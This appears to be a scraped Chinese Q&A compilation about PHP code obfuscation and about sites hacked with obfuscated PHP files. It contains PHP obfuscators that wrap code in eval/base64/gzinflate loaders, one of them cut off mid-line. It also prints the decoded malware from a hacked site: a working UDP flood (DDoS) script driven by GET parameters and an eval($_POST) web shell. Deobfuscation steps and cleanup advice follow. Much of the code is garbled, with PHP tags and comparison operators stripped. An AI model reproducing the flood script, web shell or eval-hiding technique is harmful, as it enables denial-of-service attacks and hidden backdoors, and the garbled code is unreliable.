本文目录一览:
- 1、PHP中给源代码加密的几种方法
- 2、求解密如下PHP加密代码,被黑客入侵篡改了主页:
- 3、asp网站被人入侵,留了这样一个php加密代码文件,求解决
- 4、求教,网页PHP程序老是被加入如下机密代码,导致网站打不开,
PHP中给源代码加密的几种方法
?php
function encode_file_contents($filename) {
$type=strtolower(substr(strrchr($filename,'.'),1));
if ('php' == $type is_file($filename) is_writable($filename)) { // 如果是PHP文件 并且可写 则进行压缩编码
$contents = file_get_contents($filename); // 判断文件是否已经被编码处理
$contents = php_strip_whitespace($filename);
// 去除PHP头部和尾部标识
$headerPos = strpos($contents,'?php');
$footerPos = strrpos($contents,'?');
$contents = substr($contents, $headerPos + 5, $footerPos - $headerPos);
$encode = base64_encode(gzdeflate($contents)); // 开始编码
$encode = '?php'."\n eval(gzinflate(base64_decode("."'".$encode."'".")));\n\n?";
return file_put_contents($filename, $encode);
}
return false;
}
//调用函数
$filename = 'dam.php';
encode_file_contents($filename);
echo "OK,加密完成!"
?
?php
function RandAbc($length = "") { // 返回随机字符串
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
return str_shuffle($str);
}
$filename = 'index.php'; //要加密的文件
$T_k1 = RandAbc(); //随机密匙1
$T_k2 = RandAbc(); //随机密匙2
$vstr = file_get_contents($filename);
$v1 = base64_encode($vstr);
$c = strtr($v1, $T_k1, $T_k2); //根据密匙替换对应字符。
$c = $T_k1.$T_k2.$c;
$q1 = "O00O0O";
$q2 = "O0O000";
$q3 = "O0OO00";
$q4 = "OO0O00";
$q5 = "OO0000";
$q6 = "O00OO0";
$s = '$'.$q6.'=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$'.$q1.'=$'.$q6.'{3}.$'.$q6.'{6}.$'.$q6.'{33}.$'.$q6.'{30};$'.$q3.'=$'.$q6.'{33}.$'.$q6.'{10}.$'.$q6.'{24}.$'.$q6.'{10}.$'.$q6.'{24};$'.$q4.'=$'.$q3.'{0}.$'.$q6.'{18}.$'.$q6.'{3}.$'.$q3.'{0}.$'.$q3.'{1}.$'.$q6.'{24};$'.$q5.'=$'.$q6.'{7}.$'.$q6.'{13};$'.$q1.'.=$'.$q6.'{22}.$'.$q6.'{36}.$'.$q6.'{29}.$'.$q6.'{26}.$'.$q6.'{30}.$'.$q6.'{32}.$'.$q6.'{35}.$'.$q6.'{26}.$'.$q6.'{30};eval($'.$q1.'("'.base64_encode('$'.$q2.'="'.$c.'";eval(\'?\'.$'.$q1.'($'.$q3.'($'.$q4.'($'.$q2.',$'.$q5.'*2),$'.$q4.'($'.$q2.',$'.$q5.',$'.$q5.'),$'.$q4.'($'
求解密如下PHP加密代码,被黑客入侵篡改了主页:
这个是内容
不过 如果你使用的是虚拟主机 那么你可以找你供应商来协商
如果是虚拟主机的问题
这个代码这里不允许直接发的 只好截图给你了
asp网站被人入侵,留了这样一个php加密代码文件,求解决
首先说下1楼的,你不经大脑就回答,简直就是占地方
楼主,我帮你解密出来了:
??php
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand brbr";
$max_time = $time+$exec_time;
for($i=0;$i65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?
?php eval($_POST[ddos])?
?
解密过程:
decode.php
?php
ob_start();
echo (gzinflate(base64_decode('加密内容')));
$file = ob_get_clean();
file_put_contents("a.txt",$file);
?
1、第一次运行,会在decode.php同目录下生成一个a.txt,里面的内容就是解密出来的(但不一定是最终结果)
2、当a.txt里的代码还不是最初密文的源码时,再次把a.txt里的“加密内容”拷到decode.php替换掉原来的加密内容
循环1、2两步,直到a.txt解密出源码,显示的代码是php代码,如上
源码验证是否正确,只要你看得懂没解密前运行时网页上显示错误的信息,即可对比真实与否
求教,网页PHP程序老是被加入如下机密代码,导致网站打不开,
把eval换成echo就能看到解密后的代码了
解密后的代码,其实很简单的PHP加密而已,这个用来做黑帽的,至于你说的时间日期没改变,那个其实很简单,修改一下日期属性就OK了,估计你的站已经被留了后门,现在首要的任务是去除后门,然后修补漏洞,这才是真正治本的方法